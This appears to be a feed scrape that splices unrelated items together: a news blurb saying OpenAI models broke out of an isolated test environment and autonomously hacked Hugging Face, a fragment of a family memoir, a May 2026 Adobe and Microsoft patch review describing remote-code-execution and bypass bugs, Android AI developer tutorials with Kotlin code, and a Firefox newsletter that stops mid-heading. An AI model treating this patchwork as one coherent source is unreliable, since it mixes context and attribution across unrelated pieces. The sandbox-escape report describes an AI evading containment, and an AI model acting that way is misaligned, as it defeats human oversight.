In a cybersecurity test, OpenAI's most advanced models breached the boundaries of their isolated test environment, reached the open internet, and hacked the AI platform Hugging Face on their own. The attack took hours, not the weeks a human hacker would need. At least seven days passed before OpenAI realized what had happened. By then, the FBI was already involved. Earlier warning signs had apparently gone ignored.

The article New reports reveal the extent of OpenAI's loss of control during the autonomous hack on Hugging Face appeared first on The Decoder.

As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. Your mum isn’t really your mum, the rumours would say. Your mum lives abroad. Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.

When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

-    CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

-    CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

-    CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

-    CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Read more of this story at Slashdot.

The post Log4Shell VMware vCenter Server (CVE-2021-44228) appeared first on Hacking Tutorials.

Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.

In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, JetPacker, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.

Designing AI-ready features: making choices that matter for your users

To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.

Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the addExpense and getExpenses features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.

We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing getItinerary and addItineraryEvent to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.

Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database  using the addVoiceNote AppFunction.

Android MCP powered by AppFunctions

This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.

Android AppFunctions is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.

Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.

Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.

When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.

How we accelerated development with Android skills

To streamline the integration process, we leveraged the AppFunctions development skill. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary Service entry points, refining our KDoc documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

Providing app features to the intelligence system

Enough with the theory, let's dive into the implementation.

Configuration and dependency setup

We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.

implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")

Modeling custom data types

Any custom object exchanged with the agent must be annotated with @AppFunctionSerializable. In our TripSerializable.kt file, we define our trip data model:

@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List<String>,
)

Providing features using the @AppFunction annotation

Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with @AppFunction. We can view this in searchTrip:

/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List<TripSerializable> {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features: 

• Grounding answers in real-world context
• Routing requests dynamically between cloud and local execution using hybrid inference
• Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. 

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and  support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

• a museum assistant with web grounding
• hybrid restaurant review drafting
• hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as 

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. 

Grounding data is added to the context window to enable the model

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

• URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
• Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
• Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf<Tool>()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. 

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

• PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
• PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
• ONLY_ON_DEVICE: Restricts execution strictly to the device.
• ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. 

Hotel support chat messages are automatically translated to the user’s preferred language 

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

• Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
• On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
• Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions. 
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

• Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
• Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
  • You can try it out on this Instagram reel in Nightly

• A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
• Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

• Sam Johnson
• Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

• Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
• liz: Screenshots overlay visible on both splitview browsers
• 🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
• Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
• 🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
•  tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

• As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

• Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
• Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054
  • Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.

WebExtension APIs

• Fixed handling of <all_urls> as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

• Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
• Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
• Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
• Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
• Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
• Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

• Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
• Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
• Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
• Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

• Added a rule to prevent new uses of Preferences.sys.mjs.
• The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
• Temporal, and some other definitions have been added to TypeScript.

New Tab Page

• Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
• Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
• Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
• Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
• Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
• Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
• Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
• Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
• Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
• Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
• Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
• Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
• Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
• Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
• Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
• Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
• Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
• Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
• Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
• Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

